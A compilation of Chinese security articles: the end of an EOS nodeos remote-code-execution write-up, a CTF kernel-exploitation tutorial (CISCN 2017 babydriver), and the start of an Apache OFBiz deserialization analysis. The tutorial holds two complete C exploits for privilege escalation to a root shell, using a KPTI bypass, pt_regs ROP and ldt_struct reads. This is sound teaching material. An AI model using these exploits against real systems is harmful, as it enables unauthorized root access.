在这个PoC中, 我们简单的设置了 |offset| 字段引用 0xfffffff地址，所以会触发越界写造成程序崩溃
开始测试 PoC:
`cd poc
cleos set contract eosio ../poc -p eosio`
顺利的话我们会看到 nodeos 进程出现 segment fault错误
崩溃信息:
> (gdb) c
>
> Continuing.
>
> Program received signal SIGSEGV, Segmentation fault.
>
> 0x0000000000a32f7c in
> eosio::chain::webassembly::binaryen::binaryen_runtime::instantiate_module(char
> const*, unsigned long, std::vector<unsigned char, std::allocator<unsigned
> char> >) ()
>
> (gdb) x/i $pc
>
> => 0xa32f7c
> <_ZN5eosio5chain11webassembly8binaryen16binaryen_runtime18instantiate_moduleEPKcmSt6vectorIhSaIhEE+2972>:
> mov %rcx,(%rdx,%rax,1)
>
> (gdb) p $rdx
>
> $1 = 59699184
>
> (gdb) p $rax
>
> $2 = 34359738360
>
> Here |rdx| points to the start of the |table| vector,
>
> And |rax| is 0x7FFFFFFF8, which holds the value of |offset| * 8.
##
## 利用漏洞实现远程代码执行
利用此漏洞可以在nodeos进程中实现远程代码执行，漏洞利用方法是将恶意合约上传到受害节点，并让节点解析恶意合约。而在真正的攻击中，攻击者可能会向EOS主网络发布恶意合约。
EOS超级节点解析恶意合约触发漏洞后，攻击者将可以完全控制这个节点。
攻击者可以窃取超级节点的私钥或控制新区块的内容，更重要的是攻击者可以将恶意合约打包成一个新块并发布进行攻击，最终整个网络中的所有节点都将受到攻击并被控制。
我们完成了概念性的漏洞验证程序，并在基于64位Ubuntu系统的nodeos上进行了测试。这个漏洞的攻击过程是这样的：
1. 攻击者将恶意合约上传到nodeos服务器。
2. 服务器nodeos进程解析引发漏洞的恶意合约。
3. 使用越界写入的原生代码，我们可以覆盖WASM模块实例的WASM内存缓冲区，在恶意WASM代码的帮助下，最终可以在nodeos进程中实现了任意内存读/写操作，并绕过了64位操作系统上的DEP / ASLR等常见的攻击缓解技术。
4. 漏洞利用一旦成功，会启动一个反向shell连接攻击者。
可以参考我们提供的视频，了解这个概念性的漏洞利用过程，稍后我们可能会提供完整的漏洞利用链。
## 漏洞修复
Bytemaster在EOS的Github托管项目中，为我们报告的漏洞建立了3498编号的issue跟进修复问题。
[](http://blogs.360.cn/wp-content/uploads/2018/05/1-2.png)
修复的相关代码
[](http://blogs.360.cn/wp-content/uploads/2018/05/2-2.png)
但是根据此次漏洞发现者Yuki所提交的评论，这个漏洞并没有完全被修复，在32位进程的处理过程中仍然存在问题。
[](http://blogs.360.cn/wp-content/uploads/2018/05/3-2.png) | 社区文章 |
# 在 2021 年再看 ciscn_2017 - babydriver（下）：KPTI bypass、ldt_struct 的利用、pt_regs
通用内核ROP解法
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 对于学习过 kernel pwn 的诸位而言，包括笔者在内的第一道入门题基本上都是 CISCN2017 – babydriver
> 这一道题，同样地，无论是在 CTF wiki 亦或是其他的 kernel pwn 入门教程当中，这一道题向来都是入门的第一道题（笔者的教程除外）
>
> 当然，在笔者看来，这道题当年的解法已然过时，笔者个人认为在当下入门 kernel pwn 最好还是使用我们在用户态下学习的路径——从栈溢出开始再到“堆”
>
> 但不可否认的是，时至今日，这一道题仍然具备着相当的的学习价值，仍旧是一道不错的 kernel pwn
> 入门题，因此笔者今天就来带大家看看——到了2021年，这一道 2017年的“基础的 kernel pwn
> 入门题”的解法究竟有了些什么变化，又能给我们带来什么样的启发，笔者将借助这篇文章阐述一些 kernel pwn 的利用思路
> ——[在 2021 年再看 ciscn_2017 – babydriver（上）：cred 与 tty_struct
> 提权手法浅析](https://www.anquanke.com/post/id/259252)
原本这系列文章应当在 2021
年完成的，但是笔者年末忙着各种事情给忘了（苦逼的大三党），所幸面试全都通过了考试全都推迟了，于是今天前来填一下以前留下的坑（笑）
上一篇文章同样在安全客上：[在 2021 年再看 ciscn_2017 – babydriver（上）：cred 与 tty_struct
提权手法浅析](https://www.anquanke.com/post/id/259252)，在阅读本篇文章之前，笔者希望你能够先完成对上一篇文章的阅读（笑）
闲话不多说，我们从 0x04 接着开始
## 0x04.kernel 4.15——KPTI
到了内核版本 `4.15`， **KPTI** （Kernel Page Table
Isolation，内核页表隔离）这一巨大杀器出现了——内核与用户进程使用两套 **独立的页表**
> 众所周知 Linux 采用 **四级页表** 结构（PGD->PUD->PMD->PTE），而 CR3 控制寄存器用以存储当前的 PGD
> 的地址，因此在开启 KPTI 的情况下用户态与内核态之间的切换便涉及到 CR3 的切换，为了提高切换的速度，内核将内核空间的 PGD 与用户空间的
> PGD 两张页全局目录表放在一段连续的内存中（两张表，一张一页4k，总计8k，内核空间的在低地址，用户空间的在高地址），这样 **只需要将 CR3 的第
> 13 位取反便能完成页表切换的操作**
>
>
>
> 在启动项 `append` 中添加 `pti=on`选项开启 KPTI
由于用户空间与内核空间的彻底隔离，这意味着 **我们不能够再使用 ret2usr 这一攻击手法** ，我们也无法直接在我们的用户空间中构造 fake
tty_operations，而需要一个内核中的 object
而且该版本与其之后的几个版本的内核当中似乎在 `open("/dev/ptmx")` 时所分配的第一个结构第都 **不是 tty_struct**
，笔者怀疑其分配机制有了一定的更改，但这一次我们似乎不能够通过 tty_struct 来泄露内核基址与劫持内核执行流了，不过在内核当中
**仍然有着数量相当可观的有用的结构体** 供我们利用
### seq_operations
`seq_operations` 是一个十分有用的结构体，我们不仅能够通过它来泄露内核基址，还能利用它来控制内核执行流
当我们打开一个 stat 文件时（如 `/proc/self/stat` ）便会在内核空间中分配一个 seq_operations 结构体，该结构体定义于
`/include/linux/seq_file.h` 当中，只定义了四个函数指针，如下：
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
当我们 read 一个 stat 文件时，内核会调用其 proc_ops 的 `proc_read_iter` 指针，其默认值为
`seq_read_iter()` 函数，定义于 `fs/seq_file.c` 中，注意到有如下逻辑：
ssize_t seq_read_iter(struct kiocb *iocb, struct iov_iter *iter)
{
struct seq_file *m = iocb->ki_filp->private_data;
//...
p = m->op->start(m, &m->index);
//...
即其会调用 seq_operations 中的 start 函数指针，那么 **我们只需要控制 seq_operations- >start 后再读取对应
stat 文件便能控制内核执行流**
**泄露内核基址**
在 seq_operations 被初始化时其函数指针皆被初始化为内核中特定的函数（笔者尚未求证具体是什么函数），利用 read
读出这些值后我们便能获得内核偏移
**控制内核执行流**
> 思路来自于 TCTF2021 FINAL 中 Organizer 团队对于 kernote 这一题的
> [WP](https://ctftime.org/writeup/30589)，十分美妙的一种解法！
虽然我们现在已经获得了内核基址，且我们也能够通过直接覆写 `seq_operations->start`
来劫持内核执行流，但是如若是要成功完成提权则还需要再费一番功夫
我们此前比较朴素的提权思想就是 `commit_creds(prepare_kernel_cred(NULL))`了，但是存在一个问题：
**我们无法控制seq_operations- >start 的参数**，且我们单次只能执行一个函数，而朴素的提权思想则要求我们连续执行两个函数
关于后者这个问题其实不难解决，在内核当中有一个特殊的 cred —— `init_cred`，这是 init 进程的 cred，因此 **其权限为
root** ，且该 cred 并非是动态分配的，因此当我们泄露出内核基址之后我们也便能够获得 init_cred 的地址，那么我们就只需要执行一次
`commit_creds(&init_cred)` 便能完成提权
但 seq_operations->start 的参数我们依旧无法控制，这里我们可以找一些可用的 gadget 来栈迁移以完成
ROP，因此接下来我们需要考虑如何控制内核栈
**pt_regs：系统调用压栈结构体**
系统调用的本质是什么？或许不少人都能够答得上来是由我们在用户态布置好相应的参数后执行 `syscall` 这一汇编指令，通过门结构进入到内核中的
`entry_SYSCALL_64`这一函数，随后通过系统调用表跳转到对应的函数
现在让我们将目光放到 `entry_SYSCALL_64`
这一用汇编写的函数内部，观察，我们不难发现其有着[这样一条指令](https://elixir.bootlin.com/linux/latest/source/arch/x86/entry/entry_64.S#L107)：
PUSH_AND_CLEAR_REGS rax=$-ENOSYS
这是一条十分有趣的指令，它会将所有的寄存器 **压入内核栈上，形成一个 pt_regs 结构体**
，该结构体实质上位于内核栈底，[定义](https://elixir.bootlin.com/linux/latest/source/arch/x86/include/uapi/asm/ptrace.h#L44)如下：
struct pt_regs {
/*
* C ABI says these regs are callee-preserved. They aren't saved on kernel entry
* unless syscall needs a complete, fully filled "struct pt_regs".
*/
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx;
unsigned long rdx;
unsigned long rsi;
unsigned long rdi;
/*
* On syscall entry, this is syscall#. On CPU exception, this is error code.
* On hw interrupt, it's IRQ number:
*/
unsigned long orig_rax;
/* Return frame for iretq */
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
/* top of stack page */
};
在内核栈上的结构如下：
而在系统调用当中有很多的寄存器其实是不一定能用上的，比如 r8 ~ r15， **这些寄存器为我们的ROP提供了可能，我们只需要寻找到一条形如 “add
rsp, val ; ret” 的 gadget 便能够完成 ROP**
随便选一条 gadget，gdb 下断点，我们可以很轻松地获得在执行 seq_operations->start 时的 rsp
与我们的“ROP链”之间的距离
**KPTI bypass**
找到合适的 gadget 完成 ROP 链的构造之后，我们接下来要考虑如何“完美地降落回用户态”
还是让我们将目光放到系统调用的汇编代码中，我们发现内核也相应地在 `arch/x86/entry/entry_64.S`
中提供了一个用于完成内核态到用户态切换的函数 `swapgs_restore_regs_and_return_to_usermode`
源码的 AT&T 汇编比较反人类，推荐直接查看 IDA 的反汇编结果（亲切的 Intel 风格）：
在实际操作时前面的一些栈操作都可以跳过，直接从 `mov rdi, rsp` 开始，这个函数大概可以总结为如下操作：
mov rdi, cr3
or rdi, 0x1000
mov cr3, rdi
pop rax
pop rdi
swapgs
iretq
因此我们只需要布置出如下栈布局即可 **完美降落回用户态** ：
↓ swapgs_restore_regs_and_return_to_usermode
0 // padding
0 // padding
user_shell_addr
user_cs
user_rflags
user_sp
user_ss
这个函数还可以在我们找不到品质比较好的 gadget 时帮我们完成调栈的功能
> 在调试过程中该函数的地址同样可以在 `/proc/kallsyms` 中获得
### FINAL EXPLOIT
最终的 exp 如下：
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <asm/ldt.h>
#define POP_RDI_RET 0xffffffff810029a1
#define COMMIT_CREDS 0xffffffff810a0700
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81a00abd
#define INIT_CRED 0xffffffff82250ec0
size_t commit_creds = NULL, prepare_kernel_cred = NULL, kernel_offset = 0, kernel_base = 0xffffffff81000000;
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
void getRootShell(void)
{
if(getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}
printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}
int seq_fd;
size_t seq_data[0x10];
size_t pop_rdi_ret;
size_t init_cred;
size_t swapgs_restore_regs_and_return_to_usermode;
size_t add_rsp_0x40_ret;
int main(void)
{
int fd[10];
size_t target_addr;
struct user_desc desc;
size_t page_offset_base = 0xffff888000000000;
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
saveStatus();
// construct UAF and get a seq_operations
fd[0] = open("/dev/babydev", O_RDWR);
fd[1] = open("/dev/babydev", O_RDWR);
ioctl(fd[0], 0x10001, 0x18);
write(fd[0], "arttnba3arttnba3arttnba3", 0x18);
close(fd[0]);
seq_fd = open("/proc/self/stat", O_RDONLY);
// get seq_operations data and calculate the kernel base
read(fd[1], seq_data, 0x10);
for (int i = 0; i < 2; i++)
printf("[------data dump------] %d: %p\n", i, seq_data[i]);
kernel_offset = seq_data[0] - 0xffffffff81269110;
kernel_base = (void*) ((size_t)kernel_base + kernel_offset);
commit_creds = COMMIT_CREDS + kernel_offset;
printf("\033[34m\033[1m[*] Kernel offset: \033[0m0x%llx\n", kernel_offset);
printf("\033[32m\033[1m[+] Kernel base: \033[0m%p\n", kernel_base);
printf("\033[32m\033[1m[+] commit_creds: \033[0m%p\n", commit_creds);
printf("\033[32m\033[1m[+] swapgs_restore_regs_and_return_to_usermode: \033[0m%p\n", SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + kernel_offset);
// trigger seq_operations->start
target_addr = 0xffffffff81079210 + kernel_offset; //add rsp, 0x100; pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15
init_cred = INIT_CRED + kernel_offset;
pop_rdi_ret = POP_RDI_RET + kernel_offset;
swapgs_restore_regs_and_return_to_usermode = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 14 + kernel_offset;
add_rsp_0x40_ret = 0xffffffff810996a6 + kernel_offset;
write(fd[1], &target_addr, 8);
__asm__(
//"mov r15, 0xbeefdead;"
//"mov r14, 0xabcddcba;"
"mov r13, add_rsp_0x40_ret;" // add rsp, 0x40 ; ret
"mov r12, commit_creds;"
"mov rbp, init_cred;"
"mov rbx, pop_rdi_ret;"
//"mov r11, 0x1145141919;"
"mov r10, swapgs_restore_regs_and_return_to_usermode;"
//"mov r9, 0x1919114514;"
//"mov r8, 0xabcd1919810;"
"xor rax, rax;"
"mov rcx, 0x666666;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
);
getRootShell();
}
运行，完美提权
## 0x05.加大难度（II）——去除 read 功能
由于我们在内核空间当中有着一个可以读写的 UAF ，因此到目前为止整套利用流程下来都是十分流畅的，但是若是我们无法直接读取 object
的内容呢？我们该通过什么方法来泄露内核基址？
这里笔者要向大家介绍一个神器——`ldt_struct`
### ldt_struct
ldt 即 **局部段描述符表** （ **Local Descriptor Table** ），其中存放着 **进程的**
段描述符，段寄存器当中存放着的段选择子便是段描述符表中段描述符的索引
该结构体定义于内核源码 `arch/x86/include/asm/mmu_context.h` 中，如下：
struct ldt_struct {
/*
* Xen requires page-aligned LDTs with special permissions. This is
* needed to prevent us from installing evil descriptors such as
* call gates. On native, we could merge the ldt_struct and LDT
* allocations, but it's not worth trying to optimize.
*/
struct desc_struct *entries;
unsigned int nr_entries;
/*
* If PTI is in use, then the entries array is not mapped while we're
* in user mode. The whole array will be aliased at the addressed
* given by ldt_slot_va(slot). We use two slots so that we can allocate
* and map, and enable a new LDT without invalidating the mapping
* of an older, still-in-use LDT.
*
* slot will be -1 if this LDT doesn't have an alias mapping.
*/
int slot;
};
该结构体大小为 0x10，应当从 kmalloc-16 中取
**desc_struct 结构体**
ldt_struct 结构体中有一成员 `entries` 为 指向`desc_struct` 结构体的指针，即 **段描述符** ，定义于
`/arch/x86/include/asm/desc_defs.h` 中，如下：
/* 8 byte segment descriptor */
struct desc_struct {
u16 limit0;
u16 base0;
u16 base1: 8, type: 4, s: 1, dpl: 2, p: 1;
u16 limit1: 4, avl: 1, l: 1, d: 1, g: 1, base2: 8;
} __attribute__((packed));
**低 32 位**
31~16 | 15~0
---|---
段基址的 15~0 位 | 段界限的 15~0 位
段基址 32 位，段界限为 20 位，其所能够表示的地址范围为：
`段基址 + （段粒度大小 x （段界限+1）） - 1`
**高 32 位**
31~24 | 23 | 22 | 21 | 20 | 19~16 | 15 | 14~13 | 12 | 11~8 | 7~0
---|---|---|---|---|---|---|---|---|---|---
段基址的 31~24 位 | G | D/B | L | AVL | 段界限的 19 ~16 位 | P | DPL | S | TYPE | 段基址的
23~16 位
各参数便不在此赘叙了，具其构造可以参见[全局描述符表（Global Descriptor Table） –
arttnba3.cn](https://arttnba3.cn/2021/06/24/CODE-0X00-A3OS/#%E4%B8%89%E3%80%81%E5%85%A8%E5%B1%80%E6%8F%8F%E8%BF%B0%E7%AC%A6%E8%A1%A8%EF%BC%88Global-Descriptor-Table%EF%BC%89)
### modify_ldt 系统调用
Linux 提供给我们一个叫 `modify_ldt` 的系统调用，通过该系统调用我们可以 **获取或修改当前进程的 LDT**
我们来看一下在内核中这个系统调用是如何操纵 ldt 的，该系统调用定义于 `/arch/x86/kernel/ldt.c` 中，如下：
SYSCALL_DEFINE3(modify_ldt, int , func , void __user * , ptr ,
unsigned long , bytecount)
{
int ret = -ENOSYS;
switch (func) {
case 0:
ret = read_ldt(ptr, bytecount);
break;
case 1:
ret = write_ldt(ptr, bytecount, 1);
break;
case 2:
ret = read_default_ldt(ptr, bytecount);
break;
case 0x11:
ret = write_ldt(ptr, bytecount, 0);
break;
}
/*
* The SYSCALL_DEFINE() macros give us an 'unsigned long'
* return type, but tht ABI for sys_modify_ldt() expects
* 'int'. This cast gives us an int-sized value in %rax
* for the return code. The 'unsigned' is necessary so
* the compiler does not try to sign-extend the negative
* return codes into the high half of the register when
* taking the value from int->long.
*/
return (unsigned int)ret;
}
我们应当传入三个参数：func、ptr、bytecount，其中 ptr 应为指向 `user_desc` 结构体的指针，参照 man page
可知该结构体如下：
struct user_desc {
unsigned int entry_number;
unsigned int base_addr;
unsigned int limit;
unsigned int seg_32bit:1;
unsigned int contents:2;
unsigned int read_exec_only:1;
unsigned int limit_in_pages:1;
unsigned int seg_not_present:1;
unsigned int useable:1;
};
**read_ldt()：内核任意地址读**
定义于 `/arch/x86/kernel/ldt.c`中，我们主要关注如下逻辑：
static int read_ldt(void __user *ptr, unsigned long bytecount)
{
//...
if (copy_to_user(ptr, mm->context.ldt->entries, entries_size)) {
retval = -EFAULT;
goto out_unlock;
}
//...
out_unlock:
up_read(&mm->context.ldt_usr_sem);
return retval;
}
在这里会 **直接调用 copy_to_user 向用户地址空间拷贝数据** ，我们不难想到的是若是能够控制 ldt->entries
便能够完成内核的任意地址读，由此泄露出内核数据
**write_ldt()：分配新的 ldt_struct 结构体**
定义于 `/arch/x86/kernel/ldt.c`中，我们主要关注如下逻辑：
static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
//...
error = -EINVAL;
if (bytecount != sizeof(ldt_info))
goto out;
error = -EFAULT;
if (copy_from_user(&ldt_info, ptr, sizeof(ldt_info)))
goto out;
error = -EINVAL;
if (ldt_info.entry_number >= LDT_ENTRIES)
goto out;
//...
old_ldt = mm->context.ldt;
old_nr_entries = old_ldt ? old_ldt->nr_entries : 0;
new_nr_entries = max(ldt_info.entry_number + 1, old_nr_entries);
error = -ENOMEM;
new_ldt = alloc_ldt_struct(new_nr_entries);
if (!new_ldt)
goto out_unlock;
if (old_ldt)
memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE);
new_ldt->entries[ldt_info.entry_number] = ldt;
//...
install_ldt(mm, new_ldt);
unmap_ldt_struct(mm, old_ldt);
free_ldt_struct(old_ldt);
error = 0;
out_unlock:
up_write(&mm->context.ldt_usr_sem);
out:
return error;
}
我们注意到在 write_ldt() 当中会使用 alloc_ldt_struct() 函数来为新的 ldt_struct 分配空间，随后将之应用到进程，
alloc_ldt_struct() 函数定义于 `arch/x86/kernel/ldt.c` 中，我们主要关注如下逻辑：
/* The caller must call finalize_ldt_struct on the result. LDT starts zeroed. */
static struct ldt_struct *alloc_ldt_struct(unsigned int num_entries)
{
struct ldt_struct *new_ldt;
unsigned int alloc_size;
if (num_entries > LDT_ENTRIES)
return NULL;
new_ldt = kmalloc(sizeof(struct ldt_struct), GFP_KERNEL);
//...
可以看到的是，ldt_struct 结构体通过 kmalloc() 从 `kmalloc-xx` 中取，由此我们可以得到如下解题思路：
* 先分配一个 object 后释放
* 通过 write_ldt() 将这个 object 重新取回
* 通过 UAF 更改 ldt->entries
* 通过 read_ldt() 搜索内核地址空间
**泄露内核基址**
接下来我们考虑如何利用 modify_ldt 系统调用来泄露内核基址，虽然我们可以控制 entries 指针从而通过 `read_ldt()`
读出内核内存上的数据，但我们该从哪读？重新阅读 `read_ldt()` 的源码，我们不难想到这样一种思路：
* 我们可以 **直接爆破内核地址** ：对于无效的地址，copy_to_user 会返回非 0 值，此时 read_ldt() 的返回值便是 `-EFAULT`，当 read_ldt() 执行成功时，说明我们命中了内核空间
但通常情况下内核会开启 `hardened usercopy` 保护，当 copy_to_user() 的源地址为内核 .text 段（_stext,
_etext）时 **会引起 kernel panic** ，因此我们不能直接爆破 .text 端的基址
那么这里我们可以考虑更改思路——搜索`线性映射区`，即爆破 **内核堆基址** ，之后再通过 read_ldt()
在堆上读出一些可用的内核指针从而泄露出内核基址
> direct mapping area，即 **线性映射区** （不是线代那个线性映射），这块区域的线性地址到物理地址空间的映射是 **连续的**
> ，kmalloc 便从此处分配内存，其起始地址为 `page_offset_base`
>
> 而 vmalloc 则从 vmalloc/ioremap space 分配内存，起始地址为 `vmalloc_base`，这一块区域到物理地址间的映射是
> **不连续的**
代码如下：
// seek for kernel heap addr
struct user_desc desc;
size_t page_offset_base = 0xffff888000000000;
int retval;
desc.base_addr = 0xff0000;
desc.entry_number = 0x8000 / 8;
desc.limit = 0;
desc.seg_32bit = 0;
desc.contents = 0;
desc.limit_in_pages = 0;
desc.lm = 0;
desc.read_exec_only = 0;
desc.seg_not_present = 0;
desc.useable = 0;
syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));
while(1)
{
write(fd[1], &page_offset_base, 8);
retval = syscall(SYS_modify_ldt, 0, &desc, 8);// final param should be 8 there
if (retval >= 0)
break;
page_offset_base += 0x2000000;
}
printf("\033[32m\033[1m[+] Found page_offset_base: \033[0m%lx\n", page_offset_base);
// read kernel addr by searching the kernel heap
size_t search_addr;
int pipe_fd[2];
size_t *buf;
pipe(pipe_fd);
buf = (size_t*) mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
search_addr = page_offset_base;
kernel_base = 0;
while(1)
{
write(fd[1], &search_addr, 8);
retval = fork();
if (!retval) // child
{
syscall(SYS_modify_ldt, 0, buf, 0x8000);
for (int i = 0; i < 0x1000; i++)
{
if ((buf[i] >= 0xffffffff81000000) && ((buf[i] & 0xfff) == 0x030))
{
kernel_base = buf[i] - 0x030;
kernel_offset = kernel_base - 0xffffffff81000000;
printf("\033[32m\033[1m[+] Found kernel base: \033[0m%p\033[32m\033[1m at \033[0m%p\n", kernel_base, search_addr);
printf("\033[32m\033[1m[+] Kernel offset: \033[0m%p\n", kernel_offset);
break;
}
}
write(pipe_fd[1], &kernel_base, 8);
exit(0);
}
wait(NULL);
read(pipe_fd[0], &kernel_base, 8);
if (kernel_base)
break;
search_addr += 0x8000;
}
kernel_offset = kernel_base - 0xffffffff81000000;
### FINAL EXPLOIT
泄露出内核基址之后的其他流程就和 0x04 一样了，因此最终的 exp 如下：
#define _GNU_SOURCE
#include <asm/ldt.h>
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/xattr.h>
#include <sched.h>
#define POP_RDI_RET 0xffffffff810029a1
#define COMMIT_CREDS 0xffffffff810a0700
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81a00abd
#define INIT_CRED 0xffffffff82250ec0
size_t commit_creds = NULL, prepare_kernel_cred = NULL, kernel_offset = 0, kernel_base = 0xffffffff81000000;
int seq_fd;
size_t seq_data[0x10];
size_t pop_rdi_ret;
size_t init_cred;
size_t swapgs_restore_regs_and_return_to_usermode;
size_t add_rsp_0x40_ret;
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
void getRootShell(void)
{
if(getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}
printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}
int main(void)
{
int fd[10];
puts("\033[34m\033[1m[*] Start to exploit...\033[0m");
saveStatus();
// construct UAF
fd[0] = open("/dev/babydev", O_RDWR);
fd[1] = open("/dev/babydev", O_RDWR);
fd[2] = open("/dev/babydev", O_RDWR);
ioctl(fd[0], 0x10001, 0x10);
write(fd[0], "arttnba3", 8);
close(fd[0]);
// seek for kernel heap addr
struct user_desc desc;
size_t page_offset_base = 0xffff888000000000;
int retval;
desc.base_addr = 0xff0000;
desc.entry_number = 0x8000 / 8;
desc.limit = 0;
desc.seg_32bit = 0;
desc.contents = 0;
desc.limit_in_pages = 0;
desc.lm = 0;
desc.read_exec_only = 0;
desc.seg_not_present = 0;
desc.useable = 0;
syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));
while(1)
{
write(fd[1], &page_offset_base, 8);
retval = syscall(SYS_modify_ldt, 0, &desc, 8);// final param should be 8 there
if (retval >= 0)
break;
page_offset_base += 0x2000000;
}
printf("\033[32m\033[1m[+] Found page_offset_base: \033[0m%lx\n", page_offset_base);
// read kernel addr by searching the kernel heap
size_t search_addr;
int pipe_fd[2];
size_t *buf;
pipe(pipe_fd);
buf = (size_t*) mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
search_addr = page_offset_base;
kernel_base = 0;
while(1)
{
write(fd[1], &search_addr, 8);
retval = fork();
if (!retval) // child
{
syscall(SYS_modify_ldt, 0, buf, 0x8000);
for (int i = 0; i < 0x1000; i++)
{
if ((buf[i] >= 0xffffffff81000000) && ((buf[i] & 0xfff) == 0x030))
{
kernel_base = buf[i] - 0x030;
kernel_offset = kernel_base - 0xffffffff81000000;
printf("\033[32m\033[1m[+] Found kernel base: \033[0m%p\033[32m\033[1m at \033[0m%p\n", kernel_base, search_addr);
printf("\033[32m\033[1m[+] Kernel offset: \033[0m%p\n", kernel_offset);
break;
}
}
write(pipe_fd[1], &kernel_base, 8);
exit(0);
}
wait(NULL);
read(pipe_fd[0], &kernel_base, 8);
if (kernel_base)
break;
search_addr += 0x8000;
}
kernel_offset = kernel_base - 0xffffffff81000000;
// re-get a UAF in kmalloc-32
syscall(SYS_modify_ldt, 1, &desc, sizeof(desc)); // do not let the former one make extra influences
ioctl(fd[1], 0x10001, 32);
close(fd[2]);
// trigger seq_operations->start
puts("\033[34m\033[1m[*] Triggering seq_operations->stat...\033[0m");
seq_fd = open("/proc/self/stat", O_RDONLY);
size_t target_addr = 0xffffffff81079210 + kernel_offset; //add rsp, 0x100; pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15
pop_rdi_ret = POP_RDI_RET + kernel_offset;
init_cred = INIT_CRED + kernel_offset;
commit_creds = COMMIT_CREDS + kernel_offset;
swapgs_restore_regs_and_return_to_usermode = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 14 + kernel_offset;
add_rsp_0x40_ret = 0xffffffff810996a6 + kernel_offset;
write(fd[1], &target_addr, 8);
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0x11111111;"
"mov r13, add_rsp_0x40_ret;"
"mov r12, commit_creds;"
"mov rbp, init_cred;"
"mov rbx, pop_rdi_ret;"
"mov r11, 0x66666666;"
"mov r10, swapgs_restore_regs_and_return_to_usermode;"
"mov r9, 0x88888888;"
"mov r8, 0x99999999;"
"xor rax, rax;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
);
getRootShell();
}
运行，完美提权
## 0xFF.What’s more？
作为入门向的文章，笔者对于 ciscn_2017_babydriver 这道题目的探讨到此便暂且告一段落了
或许有的人会问：这道题目的难度明明还没封顶呀，还可以把 write 功能也给去掉（userfaultfd + setxattr）、在此之上还能够再限制
free 的次数（利用 Intel CPU 漏洞泄露内核基址 + UAF 劫持执行流）……
但笔者认为再继续把难度增加下去未免就有点太钻牛角尖了，没有那个必要，笔者更多的只是想让大家学习到内核漏洞利用的一些思路，而不是像用户态pwn那样靠背各种模板去解题，虽然暂且不知道笔者的文章能否能给大家带来这样的效果
当然，也可能只是笔者懒得继续写了（笑）
> 或许在未来的某一天会出一个难度再上几个台阶的番外篇？ | 社区文章 |
# CVE-2021-26295 Apache OFBiz 反序列化分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞简介
2021年3月22日 Apache
OFBiz官方发布安全更新，修复了一处由RMI反序列化造成的远程代码执行漏洞。攻击者可构造恶意请求，触发反序列化，从而造成任意代码执行，控制服务器。
漏洞影响版本：apache:ofbiz<17.12.06
官网：<https://ofbiz.apache.org/>
项目下载地址：<https://archive.apache.org/dist/ofbiz/>
补丁代码：<https://github.com/apache/ofbiz-framework/commit/af9ed4e/>
漏洞触发路径:https://ip:8433/webtools/control/SOAPService
## 调试环境搭建
这个反序列化漏洞本身相对简单，但是搭建调试环境的时候费了好些功夫。
